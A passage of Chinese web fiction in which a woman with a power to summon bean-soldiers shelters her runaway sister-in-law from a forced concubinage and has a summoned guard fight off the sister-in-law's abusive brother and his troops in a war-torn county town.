季中郎将选择此敏感时期出巡,应该与岽州苗知府达成协议。想将下属几个城镇,包括宜阳县在内的兵权,牢牢掌控到手。
政治层面的东西,轮不到苏蓉过问。她挽留傅振吃了便饭,傅振叮咛她们这段时间减少外出,连夜赶回县衙。
苏蓉心情灰暗。
原以为豆子兵终于帮忙找到人参,自身可以从此发家,带着小兰走上富裕路。偏逢乱世。别说人参不便出手,有钱也没地方用。
还得装穷跟大家一块过苦日子。不然,各路牛鬼蛇神不怀好意找上门。
夜里,隐约听见巷道里不知哪户人家,发出尖叫哭喊。声音传到她们耳中,已经比较轻微了。
方小兰撑起上半身,小手轻轻摇晃身边的苏蓉。苏蓉把人按回被窝里,摸着她毛茸茸的脑袋“嘘”了一声。
“快睡,不然大耗子来咬小兰!”
小兰害怕,一声不吭爬回被窝,撅着屁股钻进她怀中。
苏蓉搂住小兰,听着东屋那面张如英辗转反侧,把床板压得咯吱响,没有起来。叹口气,继续蒙头大睡。
这世道,轮不到她救民于水火。
太混乱了。
她连金竹海一个渣男都收拾不下来。
早上张如英出门,带回一点菜种子,还有几个黑乎乎的大馒头。
三人吃了饭,一起把小院子收拾出来,想办法摆几个花盆,种点葱蒜小白菜。哪怕只有一点,长出来也省得成天不见绿色。
看这样子,集市短时间无法恢复到从前。城外村民无法进城卖菜,城内居民不敢出城。就怕一踏出城门,再进不来了。
外面聚集上千流民,附近树皮草根,全被挖光。连续几天无人施粥,县城闭门坚守,不知乱到何种程度。
她们躲在这处民宅,用水不愁,还有大量存粮,苏蓉与县衙还有联系。等闲人不敢觊觎她们,实在幸运之极。
方小兰回到熟悉的种菜活儿中,兴致勃勃挑选种子,刨土掘坑,浇水施肥。比苏蓉两人干得麻利。
张如英见小人儿注意力不在这边,方才悄悄拉着苏蓉,说打听回来的消息。
昨夜就在她们住的这条小胡同,有人家遭抢。
贼人翻墙进去,好几个人蒙着脸。把男户主打伤,然后捆了一家人。翻箱倒柜把家里粮食、值钱小东西全部搜刮走了。
庆幸的是没伤人命。但这户人家被洗劫一空,以现在难以出门做工开店的环境,不知怎么熬过这个冬天。
好心邻居见这家人哭得实在太惨,有送几文几十文的,也有拿把菜拎斤糙米过去的。
往日抬头不见低头见,怎忍心完全视而不见。
据说已上报给官府。但县城这么大,这段时间鸡鸣狗盗之事,爆发无数起。
叶清辞重点关注城内外大事,加上驻军所不配合,衙门这点人员,委实难以控制局面。这样持续下去,宜阳县迟早崩盘。
不知道季隆带来的这三千兵进驻县城,除了大量耗费每日补给粮草,能不能起到维护治安的作用?
苏蓉叹口气。
“张婶子,劳烦你待会也替我送三十文钱、还有两个馒头过去。”
多余的,不敢表示。
否则,只怕下波亡命之徒,又要汹涌爬进她家院子!
第103章 乱世用重典
苏蓉很少与邻居们接触。张如英性情爽利,倒是喜欢空闲时与人扎堆聊天。东西由她来送,再合适不过。
张如英点头,本想说自己添个二十文,凑够五十。
转念一想,她体己钱不比苏蓉。往后还要重新开店,而且不能一直住在苏蓉家,她能省,还是尽量节省。
于是,把到嘴边的话咽了下去。
苏蓉一边种菜,一边寻思要不要派豆子兵去狩猎。仅凭衙门带回来那点饭菜的营养,养不好小兰。
但周遭人被困在家中快断炊了,自家还飘出烧肉的香味……
她悄悄打个寒噤,不敢想下去。转头瞧小兰头大身子小的背影,决定明天回去上工。
傅振不是特意来通知,那中郎将去驻军所了吗?危险暂时解除,她可以继续在县署內宅干活。
外面风声鹤唳,至少县衙内安全,粮食补给有福利,隔三岔五碗里还有肉。
第二天大早出门,发现季中郎将率兵到了,果真为县城带来一点新气象。
巡逻兵增多,相应开门营业的店家也增多。不过主要是卖杂货和少量粗粮。新鲜蔬菜极少。
城廓民自家种的不够吃,根本不会像村民那般,送到集市售卖。
但城外流民只增不减,谁敢乱开城门?村民们更不敢随意离开村子,去挑衅流民的道德底线。
苏蓉来到县署后衙。
傅振和曾嬷嬷正在说话,见她出现,两人同时松口气。
“苏娘子,你来得正好!曾嬷嬷说另外一个杂役告病,我们正商量从哪里招人呢,你回来了,就不用再请人了!”
苏蓉无语地目送两人眉开眼笑离开,敢情她又得身兼多职了?
为了生活,认命地拿起抹布和扫帚。
叶清辞早出晚归,中午不回衙门,很难见上一面。傅振必须兼顾燕彬离开后的那部分工作量,同样繁忙。
大多数时候,只有曾嬷嬷和苏蓉两人在。其实这种日子若保持现状,十分自在。
姜厨娘也从自家房间出来继续掌厨。
见到苏蓉,心照不宣打声招呼。知道苏蓉家里情况,每回给苏蓉留的那份晚饭,有肉情况下压得又多又实在。
苏蓉有点担心姜厨娘。
无依无靠,一直住在县衙。现在有叶清辞在能保护她,以后变了天呢?
远的不说,季中郎将就是压在叶清辞头上的一座山。无论官职还是权势,都在叶清辞之上。
如果对方真要做什么,叶清辞可能连自己也保护不了。
姜厨娘看出苏蓉在想什么,不经意道:“我在西头巷买了户民房,以后打算去那里定居。苏妹子,空闲时记得上我家做客。”
言下之意,她攒足体己,后半生能够悠闲度日。至于危险,除非敌军屠城,那么谁也跑不了,担忧无用。
苏蓉眨眨眼笑道:“恭贺姜姐姐乔迁之喜!”
姜厨娘拍拍她的手:“你在这里等我下。”
随即,回屋去拿了两本书册来,是自己誊抄的三字经和百家姓,送给苏蓉。
“苏妹子,都说女人识字无用,别听他们的。咱们多认两个字,以后即便被人踩在泥污里,也有机会翻身!”
苏蓉骤然一醒。
天灾人祸,她竟然忽略了对小兰的教育,真是不该!幸亏姜厨娘好意提醒。
她连忙接过两本书,感激地对姜厨娘道:“姜姐姐,我明白了,谢谢你!”
姜厨娘微微一笑,回厨房继续干活去了。
世事变化无常,说不定真到逃命那天,她们没有机会道别。提前送书,当了断这段同事情谊。
苏蓉回到家,二话不说,把小兰和闲着的张婶子叫到一起。
本着一头羊是赶,两头羊同样是赶的道理,宣布从今天开始,每天抽闲暇时间,教她们读书认字。
不求她们才华横溢,至少简单书写要会,账要能算。别以后被人卖了还帮人数钱。
方小兰很乖,非常听姐姐的话。
张如英吃够了这辈子没文化的苦,以前总被周姐姐嫌弃。现在自己要开店,为了以后不再依赖苏蓉,做账画杠圈,硬着头皮,愿意学习。
于是,本来日日焦愁未来前途的三人,倒是短时间内平静下来,忽略外面世道混乱,专心教学。
不管宜阳县上层人物之间的暗流涌动,至少季隆所率三千兵马到来,让风雨飘摇的县城似乎安定下来。
驻军所派出巡逻队伍,每天出城,巡视周边村庄情况。但凡遇见作奸犯科,扰乱民生的流民,不问来路,一律以铁血手腕处置。
乱世用重典。
男的处死,女性孩子官卖。
叶清辞质疑这种手段会激起民变?
但季隆坐镇宜阳县,根本不听他谏言。反嘲讽他心慈手软,才导致流民群日渐壮大,弄到威胁县城治安的地步。
金竹海带队,每日巡逻归来,都能满载。马匹挂满首级,军士押解绳子栓成串的流民。
这些流民大多数是女人孩子。衣不蔽体,瘦骨嶙峋。仿佛失去生气的一具具木偶,眼神空洞麻木任官兵驱赶,进入集市。
苏蓉下工,偶然碰到徐牙婆交谈几句。
徐牙婆抱怨现在牙行人满为患,工作量剧增。顺口问苏蓉要不要买奴婢?最便宜的低贱到五百文,再肯花到一两银子往上,能挑个好的。
苏蓉心动一瞬,摇头。
如今局势不明朗,哪敢随便往家里添置下人。别到时真成官府或某些有心人眼中的大户了!
而且养个下人,岂止给吃穿那么简单?
对方好歹是条命。不止要养,还要保护,管她的人生前途。那么多麻烦事,必须等世道太平再做考虑。她自己身份明面上还是个下人呢。
不过,苏蓉直觉驻军所的人有猫腻。被押解进城的俘虏使牙行达到人满为患的地步,金竹海等人收割的人头,积累可怕的功勋。
有那么多悍不畏死、手无寸铁的流民,每天和官兵做无谓争斗吗?
照金竹海这种剿“匪”速度,城外应该是乱到人间炼狱?
不过,相应也有点积极作用。
至少附近村庄的乡民,会挑着自家种的蔬菜进城售卖。虽然卖的是天价,好歹市集能见点绿色。
第104章 意外客人
苏蓉花二十文钱,买了把焉里吧唧的青菜,准备带回家下碗面片汤。
真是好久没有吃过新鲜蔬菜!平常这种价格,至少能买四倍数以上的青菜。
到家后她一愣,家中竟然多了位意外客人。
穿着不合体的男装,满头黑发竖起来盘成男士髻子。手中局促抱紧破旧斗笠,脚边一个小包袱。脸色不知涂抹了什么,黄中带黑。
放下青菜饭盒,对方起身迎接,叫声“蓉姐姐”,她方才把金冬梅认出来。
这丫头,穿成这样跑来,指定是瞒住金家人的吧?
她有点头疼,又做不到把人往外推。
金冬梅这性子,敢于来求助她,已是鼓舞起莫大勇气。这丫头除了自己,没有别的说得上话的人。
张如英笑眯眯道:“苏丫头,你们好好说会话,我去厨房做晚饭。这金姑娘也留下吃饭吧?我做四份。”
说着,拿起苏蓉带回的青菜盒饭,牵起小兰走进厨房。
苏蓉看看金冬梅的杯子,没多少水了,顺手提起茶壶给她蓄满,又给自己倒上一杯,等坐定了,才瞅着金冬梅问。
“冬梅,你离家出走了?”
金冬梅这包袱款款且易容的模样,十分明显。她惊诧的不是导致金冬梅离家出走的原因,而是钦佩对方敢于破釜沉舟的勇气!
这在原主身上,从来没有体现过。
看来金冬梅表面懦弱胆怯,骨子里还是继承了金家人好强斗狠的血脉。
金冬梅眼巴巴看着苏蓉,黑亮眸子里盛满晶莹泪光:“蓉姐姐,你能收留我几天吗?我实在是……走投无路了!”
苏蓉沉着问:“发生什么事了?”
金冬梅的委屈,一瞬间宣泄而出。
“我听见,大哥和娘商量,要把我送给什么季……中将做小妾!”
“季隆,季中郎将?”
苏蓉有点不能置信。
因为季中郎将到来,衙门稍微有点姿色的年轻杂役,人人自危。叶清辞甚至暗地把人员做了调整。
众人畏季隆名声如虎,想方设法躲避。金竹海是真不在意自己这个亲妹妹啊,为了前途,竟然欲送羊入虎口!
难怪金冬梅这么能忍的人,终于忍不住偷跑离家。
她出去打盆热水,让金冬梅洗脸更衣。脸上抹那么厚层粉,指定不舒服。手和脖子还糊得有粉。
金冬梅洗漱时,她在旁瞅着金冬梅那逐渐展露出来的真容,内心迅速盘算。
帮,肯定要帮的。
先不说原主与对方交情,就算她穿越过来,也和对方处成了朋友。
坐视冬梅成为季中郎将的玩物,她做不到。何况眼看叶清辞和傅振的紧张态度,那季隆对待后宅的女人,可能不是一般的险恶。
这时代女性大多悲剧。她无法拯救更多受苦受难的人,至少身边人,要力所能及给予保护。
等金冬梅收拾利落,干干净净一身坐回身边,苏蓉认真发问:“冬梅,你只是不愿做季中郎将的小妾吗?若是你家人安排你嫁给别人,怎么办?”
金冬梅不明白她这么问的意思,毫不犹豫冷笑。
“在他们心目中,我不过是件物品。用什么样式包好送给别人,以换回最大利益!蓉姐姐,就算你不帮我,我也下定决心了。”
“不会再回到金家!”
至于一个人怎么活,她有手有脚,像蓉姐姐一样做杂役不是不行。
当然她想法天真,苏蓉也纠正。金手指给予的底气,足以让她有把握救人。
她只是意味深长地给金冬梅说实在话。
“冬梅,你清楚我和你家人的关系。我们差不多到了不死不休的地步!你现在寻求我的帮助,若有一天,让你在家人和我之前选,你会选谁?”
“蓉姐姐,我当然选你!”
金冬梅毫不犹豫。
她第一时间选择向苏蓉求救,就是无比信任苏蓉。
从她懂事起,吃的是残羹剩饭,睡的是柴房地铺,干的是牛马活!令她感受到母亲般的温暖,是苏蓉进门后带给她的。
苏蓉名义是姐姐,在她心目中,实际长嫂如母!
她对金家人只有恨和怨,苏蓉,才是她短暂人生中的光明。
拉住苏蓉的手,金冬梅吐露出埋藏心底已久的话。
“蓉姐姐,我对不起你!你在金家三年,受尽磋磨,我连替你说句公道话也不敢。如果今天你不能帮我,是我罪有应得,我一点不怨你。”
苏蓉失笑,回握她的手。
“你不过是个孩子,同我一起遭罪的牛马,能帮上我什么忙?搞不好,只会让挨打挨骂的人,多一个。”
何况,该接受这份歉意的人,已经不在人世了。
不过为了原身,也为了跟金家对着干,金冬梅这事,她管定了。
金竹海想借送妹攀高枝?呵……
做梦!
她将金梅换下的男装及斗笠收起来,打量冬梅带来的寒酸小包袱。
方才冬梅取换洗衣物,她看见里面只有简单几件衣物,十来枚铜板。冬天冬梅身上穿的还是薄夹衣,怪不得摸到手时,那般冰冷。
她找出自己新买的换洗棉衣,套在金冬梅身上。
金冬梅比她高,而且骨架稍大,差点穿不上。还好古装大套,腰带一系,也不太看得出来显小。
“那你先在我这里住着。”
一锤定音,安排好金冬梅未来。
“现在外面乱,你正好躲着不出门。金家人多半会四处寻你,等风头过了,咱们再来商量怎么办?”
金冬梅落泪,她就知道蓉姐姐不会不管她!
来的时候,做好最坏打算了。若蓉姐姐当真狠心不管她,她又别无出路,便去找个没人地,一根带子结束自己。
苦了十多年,绝不愿意像猪像狗,再被人送砧板上去。
别以为她没见识。
说好听点是小妾,实际就是有钱人玩物。等主人家玩够了,她下场怕是更不堪入目的地方。
倒不如趁人还保留清白的时候,清白地去。
蓉姐姐愿意伸出援手,她生的希望,又像野草般疯狂蔓延滋生起来。
跟着蓉姐姐过,哪怕给蓉姐姐为奴为婢,也好过被家人当成礼物一样,送出去吧!
苏蓉掏出手帕递给冬梅。
“你逃出家门,这一路过来,被谁看见了吗?”
第105章 冬梅逃跑
金冬梅接过帕子,轻轻碰触红肿得跟蜜桃似的眼睛,仔细回忆一番摇头。
“我趁他们吃饭时偷溜出来的。天色暗,家家关门闭户。除了碰见一队官兵,应该是无其他人看见吧。”
只是当时那队官兵,押解好大一群蓬头垢面的流民,着实吓坏她了!生怕一言不合,她也被拽过去。
幸好扮成男人,及时钻进一条胡同。那伙官兵瞅她背影一眼,没有追上来盘问。
她却不知道,她当时钻进的是一条暗娼私窑聚集的胡同。官兵直接把她当作猥琐嫖客了。
可见金冬梅多么幸运,能平安来到苏蓉家!
“无人看见就好。”
苏蓉松口气。现在叶清辞处境敏感,金竹海得势。闹出事来,给叶清辞添麻烦。
不到万不得已,她不想彻底暴露底牌,去占山为王。在外风餐露宿,直面官府和各种势力,哪有在家住着悄悄搞事舒坦。
张如英和方小兰端着热气腾腾的饭菜进来,摆在堂屋桌上,笑着招呼两人:“你们姐妹俩说完话了吗?说完了,快出来吃饭!”
苏蓉拉着些许羞怯的金冬梅,走到桌边坐下。
“非常时期,一日三餐简单吃点。冬梅,你来了,张婶子也轻松点。以前我不在家,都是她一个人带孩子煮饭。”
金冬梅不好意思地看着张如英和方小兰。下决心以后一定要多做事,为蓉姐姐分忧。
虽然在蓉姐姐这里,要白吃饭一段时间,但她会尽力用劳动去换。
苏蓉打量晚饭。今天这顿因为临时变化,吃得太晚。不过张婶子没有将就。精心和面擀了面条,刀切成指宽。
黄里透黑的面条配上绿色的青菜。一小勺调着味的肉酱浇在面上,汤底白色,散发着令人食指大动的清香。
剩下的饭,张如英和汤煮成烫饭,分成四份。面不够,还可以配咸菜下饭。
金冬梅最近也算沾二嫂的光,吃了些许邓家的肉菜。但那个味道跟张如英手艺比,差得悬殊。
难怪人家能开店呢!
用最简单的食材和最原始的调料,做出最好吃的饭菜,才是过硬真本事。
四人一起嗦面条。哪怕没有血缘关系,来自不同地方,这一刻的温馨,她们完全像一家人!
饭后金冬梅抢着洗碗。
苏蓉和张如英一起,将几条凳子拼接成床板,垫层被褥,摆在东屋。夜里金冬梅就和张如英一起睡。
趁这功夫,苏蓉给张婶子和小兰说了来龙去脉,让两人帮忙掩护躲藏在家的金冬梅。有什么事,尽快去衙门找她。
张如英倒没多想,只感慨苏蓉过于良善。
先收养小兰,又收留自己和金冬梅。可怜这样心肠好的姑娘,自己身世却如同飘絮,不知以后能不能得到福报?
总之她在,定会尽力回报苏蓉。
苏蓉家这般温馨,金家此刻却乱作一团。
刚回家发现金冬梅不见的金竹海,大发雷霆。“轰隆”一巴掌把桌子拍垮,怒吼着瞪自己老娘和弟妹。
“我已经说好,隔几天挑个黄道吉日,将小妹送到中郎将那去。你们究竟做什么了,竟然人跑了也不知道?”
两人面面相觑。
老金氏叫起撞天屈。
“老大,自从老二家的进门,娘就没有过问家事啊?守门婆子也是老二家安排的下人,娘怎么晓得那死丫头有胆子逃跑?”
被金竹海恶狼似的眼神盯着,邓慧同样害怕。
她还是第一次见大伯如此凶神恶煞的模样。以前爱答不理,以为对方只是高傲。
吓得她一个劲往金安福身后躲。
金安福与大哥一起回家,虽不明白发生了什么事,但娇滴滴向自己求援的小媳妇,条件反射总要护着。
他伸手把邓慧挡在身后,有点怂怂地开口。
“大哥,这关慧慧什么事。下人失职,慧慧也不能时刻盯着他们?还是怪冬梅那个死丫头,没将你和娘放在眼里,一声不吭跑掉!”
一句话,成功让老金氏母子将怒火转移到金冬梅身上。
老金氏咬牙切齿。
“这个死丫头,平时给她脸了,敢给我逃跑!等抓回来,老娘打断她的腿!”
她担心地看向金竹海:“老大,若是季中郎将那里送不去人,你会怎么样?”
“怎么样?”
金竹海恼怒:“我非但不能升职,可能这个督尉官帽,也会被季中郎将拿掉!”
他是打听到季隆好女色,而且越年轻越好。心想把金冬梅送过去,凭着小妹长开的相貌与丰润的体型,不比那些娇滴滴养在深闺的千金差。
而且金冬梅在季隆身边,时不时能为自己吹点枕头风,到时升官加薪,指日可待。
没想到金冬梅竟然逃跑了!
父母之言,媒妁之命。他长兄如父,加上老娘支持,这死丫头不该老实听命吗?这也是为她寻个衣食无忧的去处,死丫头竟敢忤逆逃跑!
金竹海的怒火,欲把金家点燃。
金安福看热闹不嫌事大,在旁煽风点火:“金冬梅这死丫头,平日哪有那个胆量?就是跟苏氏那贱皮子走得太近,才被教坏了!”
一句话提醒老金氏。
“冬梅在外,没什么认识的人,就是苏氏跟她交好。她这么跑出去,肯定是投奔苏氏!”
金竹海冷哼一声,面泛青气:“我这就去带兵把人抓回来!”
苏蓉贱人,正愁抓不到整治她的把柄。只要在苏家搜出金冬梅,人赃并获,治她个拐带罪!就算叶清辞存心包庇,道义也不占优势。
金竹海点起百来军士,气势汹汹,赶赴米市街。到了苏蓉家门口,天正好蒙蒙亮。
听到外面人喊马嘶,苏蓉猜测金家来找金冬梅了。淡定自若,让张如英带着金冬梅,钻过围墙一处狗洞,先躲到隔壁三个书生租房的小院去。
这狗洞是张如英在家,闲来无事发现墙角有几块土砖松动。
想到隔壁无人,自家遇到危险要有个退路。苏蓉和张如英便偷偷把那洞挖大,够一人钻进钻出,随后照原样遮上。
这不,如今派上大用场。
苏蓉紧接召唤出一名铜甲兵,让他换上金冬梅来时穿的衣裳,戴上斗笠躲在屋里。吩咐:“这四个时辰,你只做一件事,护卫我们的安全!”
第106章 撕
“遵吾主命!”
苏蓉忙道:“待会揍人,你也别发声。”
铜甲兵说话瓮声瓮气,含有一种说不出的机械音,听就非人类,令人怀疑。
她今日要试试能不能让豆兵长久显示于人前,而不引起怀疑。至于敢登门的金竹海,必须给个教训!
现在世道如此混乱,连叶清辞也不能独善其身。那拥有金手指的她,何必再压抑憋屈自己?
就说她雇请了一位保镖,很合理吧!
张如英和方小兰多瞅铜甲兵两眼。
亲眼看着苏蓉用一粒豆子,变化出一员威风凛凛的铜甲兵,无比稀奇。但无论怎么打量铜甲兵长相,都觉得那五官过于普通。
一转头,脑子迷糊记不清铜甲兵长什么样了。
真令人难以置信!
刚准备去打开院门。金竹海等不及,“砰”!一脚踹开两扇年久失修的木门,在门板吱嘎惨叫呻吟中,带领一群军士冲进来。
小小院落立即水泄不通。昨日苏蓉三人才精心打理的菜盆,被人嫌弃碍事,几脚踢到墙根,泥土洒了一地。
张如英怕方小兰被吓着,牵住她的手,想先把小兰带进屋。但小兰执拗抓紧苏蓉的衣带,鼓足勇气站在她身后。
“苏氏!我小妹金冬梅,是不是跑你这里来了?”
金竹海如同噬人猛兽,虎视眈眈盯住苏蓉。
那虎背熊腰的块头,身上每块肌肉绷紧。骤然一看,居高临下的阴影,像是泰山压顶笼罩住苏蓉,充满压迫感。
不过他自认是个讲道理的人。哪怕苏氏一而再、再而三拂他面子,他仍想先礼后兵。
最令他不爽的,是苏蓉看他的眼神,没有从前熟悉的惧意,给三分颜色就想开染坊的隐秘希望。
她眼中明明白白只有恨、冷漠,不耐烦。
苏蓉发出一声所有人能听见的冷笑。
“你小妹金冬梅?她不见了,你凭什么就认为她来了我这里?那赶明儿你老娘、你弟媳不见,是不是也认为我把她们怎样了?”
“我现在与你们金家,还有一毛钱的关系吗?”
说自个老娘没事,一提自己如珠如玉宝贝的新媳妇,跟来的金安福,像被踩了尾巴的猫,别别乱跳。
“苏氏,你这贱皮子别攀扯不想干的人?我小妹金冬梅不见,是你、只能是你把她藏起来了!”
“搜!”
金竹海断然下令。
他本来就是个说一不二,刚愎自用的武夫性子。何况堵在门口的是他家暴三年、从没放在眼里过的前妻!
只要从苏氏屋里搜出人,他就能无所顾忌将苏蓉带回驻军所。不一定要这女人命,但苦头一定要多赏给对方吃。
别以为离了金家,他就不敢把她怎样了?
有理有据,县令管不着!
“这宜阳县,还是叶大人为一县之长。”
苏蓉双手把住门框冷笑。
“金竹海,你不过是驻军所督尉,擅闯民宅欺凌百姓。难不成以为自己能当家做主想造反?”
不管开局过程结果怎样,大帽子先送金竹海一顶戴起。金竹海一介武夫,金安福又蠢又坏,盛怒之下根本不会察觉他们入了圈套。
果然金竹海狂妄。
“造反又怎的?这一次,叶清辞那小儿也救不了你!只要给我搜出金冬梅在你这里,你就是拐带良家妇女,这罪你跑不了!”
说完,一把推开苏蓉,当先一脚,要跨进堂屋。
苏蓉倒退撞在门上,被张如英和方小兰连忙扶住。眼见众多军士要随金家兄弟一拥而进,苏蓉唤了一声。
“小豆何在?护主!”
众人眼睛一花,感觉黑洞洞的屋里有什么东西跳出来。来不及看清是什么,那东西如同一阵龙卷风刮到脸上。
沾着磕着碰着的,全部像甩进一个漩涡中,晕天黑地吸进去,又天女散花般飞出去。
金竹海惯性让手下先冲锋,加上习武人警觉,一见不对马上转身逃向院子。
他动作不可谓不快,但给铜甲兵重拳击飞、出腿扫升天的士卒,比他速度更快!
只听“哇啊啊”连串惊心动魄的惨叫,当先冲进屋想抢先捞把好处的家伙们,全部炮仗似倒撞出屋。
一堆人在门外叠罗汉,拿躲避不及的金竹海垫底。还有两具人体飞向傻愣愣看着的金安福。将他砸得头破血流,壁虎般贴在逼窄的院墙上。
之前嘲笑苏氏只配住这种寒酸的平民窟。现在只恨这院子为什么不能再大点,稍不注意就撞墙?
众人惊恐注视原本看上去平淡无奇的民居,只见从屋里走出来位凛凛生威的大汉!
金竹海身高体型,差不多是男人中佼佼者。
而这大汉,尽管一身灰衣朴实无华,非常不合体显小,但他斗笠下流露出的气势,横贯千军万马!
金竹海猛然瞳孔放大,想到自己遇刺的那个夜晚。
同样是这种体型高壮的巨汉,如同泰山压顶的气势追击他!
他险之又险逃过对方目空一切的追杀。
若不是叶清辞和他两个手下着实武功高强,还有驻军所众多军士全力围剿,那夜他极可能被对方撕得渣都不剩!
撕。
没错,他用的就是这个字眼。
那人如同天神下凡,力量集众人之力,难以抵挡。
1V1,他绝对不是对手。
他拼命推开压在身上哎呦连天的军士。
就这么简单一接触,有些人胳膊腿已经不健全了,流出的血,淌在他脸上。金竹海使劲用手背擦了把,面容扭曲,双目通红,直盯着苏蓉。
“你!你是岷……”
他颤抖着没说完,苏蓉大声打断他。
“现在世道这么混乱,我请个护院咋啦?看你们这群无耻之徒,还敢不敢擅闯民宅!”
金竹海整个人一呆。
“那谁……你请的护院?”
不是岷郡王氏吗?
应该不是……他亲眼见过刺客,对方脸长得不一样。不过,脸长啥样,他为什么突然想不起来了?
明明和那人打了整晚。
其他人是否记得?
再望向堵门的灰衣大汉。这时候军士们哪敢耽误,不用金竹海招呼,个个争先恐后逃出苏蓉家小院。
就算不幸骨折了的,咬牙爬也要爬向街心。
他们心底此时无比怨念。
还当是金督尉重视他们,带他们出任务,结果是叫他们来挨打的?
第107章 会说话多说
金竹海还想追问。
一转眼,发现整个院子只剩他和被撞昏迷的金安福。一个激灵,吓得他赶紧蹿出苏家院门。
不管这灰衣大汉是苏氏姘头,还是雇佣的,单就对方一出手,把他们几十号人弄残弄废,就不是好相与的。
金竹海下意识想到叶清辞。
暗忖苏氏哪有能力结识这种奇人?多半是叶清辞为了保护苏氏,暗中派遣给苏氏的暗卫。
对,叶清辞这种身份背景强大的人,送出名暗卫,是再简单不过的事了!
顿时,他恨得咬牙切齿。心道:奸夫淫妇!
闹出这么大动静,早有人飞报衙门。闻讯带队赶过来的叶清辞,在半途重重打了个喷嚏。
憋足一肚子火,打算今天直接跟金竹海撕破脸,让他知道花儿为什么这么红。却在目睹苏蓉家外,一地躺着鸡哇鬼叫的人后,目瞪口呆。
来报信的手下,说金竹海带兵闯进苏家,欺负苏娘子。
这……
谁把谁欺负了?
苏蓉看到叶清辞出现,立马招呼铜甲兵消失,放下叉在腰上的双手,摸出块帕子,用力按按眼角。
有救星出现,她就没必要一味强势。不然,她怕叶清辞那种秉公执法的个性,连她也不放过。
她十分不愿意站到他的对立面。
叶清辞没理会金竹海一行,直接跨过在地上打滚哀嚎的军士身体,快步走进苏蓉家看究竟。
发现苏蓉几人好好的,只是面露受惊吓的表情,方才暗暗松口气,回头瞪向一脸余悸未消表情的金竹海。
“金督尉,你这是越发嚣张,置律法于不顾,开始率兵洗劫百姓家了?”
金竹海一听这话,轰地怒冲脑门,忘掉一开始的犹豫害怕了,暴跳如雷。
“叶清辞,能不能瞪大你的狗眼看看,现在是我的人受伤惨重?为了护着那……那女人,你县令清誉不要了!”
想骂苏蓉是贱人,但方才被神秘的灰衣人吓破胆,舌头临时打结,吞回脏话。
叶清辞一身正气,双手抱拳向北方一拱手。
“本官承皇命,身负社稷黎元之托,秉公执法!金竹海,尔等贪墨蠢虫,若不鱼肉百姓,上违天听下悖民心,本官也会护住你!”
朗朗一席话,迎来周遭跑出来看热闹的居民欢声雷动,鼓掌喝彩!
金竹海面色铁青。
果然是曾经的探花郎!这嘴皮子,说得顺溜不带喘气,关键他还听不大明白。一群愚民混头没摸清,跟着乱捧这小白脸臭脚!
就因为他是县令吗?
殊不知世道已乱,他等武将,才是乱世中掌握乾坤的主宰!
愤恨的金竹海,选择性遗忘叶清辞武力并不比他差,甚至可能在他之上。连苏蓉,他方才也碰得头破血流出来。
苏蓉竭力压弯上去的唇角。
看见金竹海不好过,她便痛快了。
果然仇人要用钝刀子,一刀刀割肉放血,死太快享受不到报复爽感!
叶大人,会说话,您多说点!
“你来这里做什么?”
怼完金竹海,叶清辞没忘记本来目的。
金竹海这才想起自己干什么来的,顿时以为揪住苏蓉的小辫子。
“叶大人,你可是方才自己说,要秉公执法!这苏氏拐骗我家小妹,不知道把她藏哪里去了,你看该怎么处置她?”
苏蓉立即欠身施礼。在众目睽睽下保持对叶清辞的格外尊敬,来衬托金竹海的蛮横。
“大人,今天我才知道冬梅失踪。这金家人,平日对冬梅非打即骂,前段时间冬梅还告诉我,她家人欲将她当作礼物送给高门大户。”
“这……”
“他们逼得冬梅走投无路,离家出走。现在倒打一耙,跑来我家硬说我窝藏冬梅。”
“焉知……”
她用帕子捂住脸,哽咽猜测:“焉知是不是金家人逼死冬梅,为掩盖真相,顺便一石二鸟想把我也借机解决掉!”
“大人,冬梅实在可怜,您可要为她做主啊?”
金竹海先还眼棱睁睁听,然后越听也不对。
这女人把自己从中摘出去就算了,爬出坑同时,还不忘把他一脚踹进去。暗示冬梅不但出了事,凶手甚至可能是他们金家!
金竹海快气死了。
以前怎么没见此女如此狡诈,能言善辩?这真是那个三年间在他跟前,从不敢多说半个字、多行动半分的前妻吗?
“她一派胡言!”
金竹海无能咆哮。
“金冬梅是我亲妹妹,我为何要害她?送她去季大人那里,也是为她着想。锦衣玉食,享之不尽!”
话冲口而出,迎来叶清辞等人鄙视的眼神,他猛可醒悟,自己急怒攻心说溜嘴。
糟了!
季大人会不会因此责怪?
一时间,金竹海冷汗直冒。
想往上爬,他没错!但为什么总是这么难,老天不佑他,总有人处处与他作对?
“这些人怎么伤的?”
叶清辞打量一地横七竖八躺着呻吟的人。
他以为是老百姓忍无可忍,路见不平,仗义把金竹海一行打成这样。但吃瓜群众们站得老远,一副怕被殃及池鱼的样子,又不太像。
金竹海气冲牛斗,知道今天有叶清辞在,讨不了好。叶清辞正常的询问,被他理解成幸灾乐祸。
之前疑心灰衣人是叶清辞派出暗中保护苏蓉的存在,现在几乎在他心中下定论了。
他冷笑一声。
“叶大人,你就护着这女人吧!总有一天,会有你护不住的时候?”
用力一挥手。
“我们走!”
让手脚完好的军士,抬上受伤的人离开。走两步想起晕在苏蓉院子的金安福。掉头回来,恨铁不成钢拽起弟弟的后领,拖出门去。
叶清辞没有阻拦。
世道乱成一团了,只要关心的人没受伤害,他便睁只眼闭只眼。
苏蓉同样没有阻拦。
铜甲兵的秘密,隐藏一天算一天。虽不懂金竹海为何不质疑,但能遮掩更好。反正吃亏的不是她。
金竹海这番前来,赔了夫人又折兵。
叶清辞走近苏蓉,刚想细问经过。毕竟这么多军士受伤惨重,显得诡异。不过还没开口,傅振飞马赶到,涔涔喜动颜色大声禀报。
“大人,燕彬回来了!”
第108章 帝王黄玉
叶清辞精神一振,瞬间把所有疑惑抛到脑后。
叮嘱苏蓉一声:“这段时间,你尽量不要与金竹海硬抗衡,起冲突。有什么事,使人来告知我!”
说罢,跟随傅振,急匆匆返回衙门。
苏蓉目送他去远,回家关上摇摇欲坠的院门。看着一地狼藉和被张如英扶出狗洞的金冬梅,面上绽放明媚笑意。
果然,浑水才能摸鱼啊!
经此一事,金家人大概不敢明面找她这个“软柿子”捏了。
而她,最不怕他们暗地里来。暗地来的话,那么她也暗地弄出个什么事,同样在情理中对不对?
伟人说,枪杆子出政权!
当务之急,她是强化自己金手指,升级自己金手指。
手一挥,让两名豆子兵悄然出发,继续去寻找山里的宝贝,当练级了!
叶清辞赶回县衙,燕彬风尘仆仆,在县署內宅等候。见到叶清辞,立即起身施礼。
“大人!”
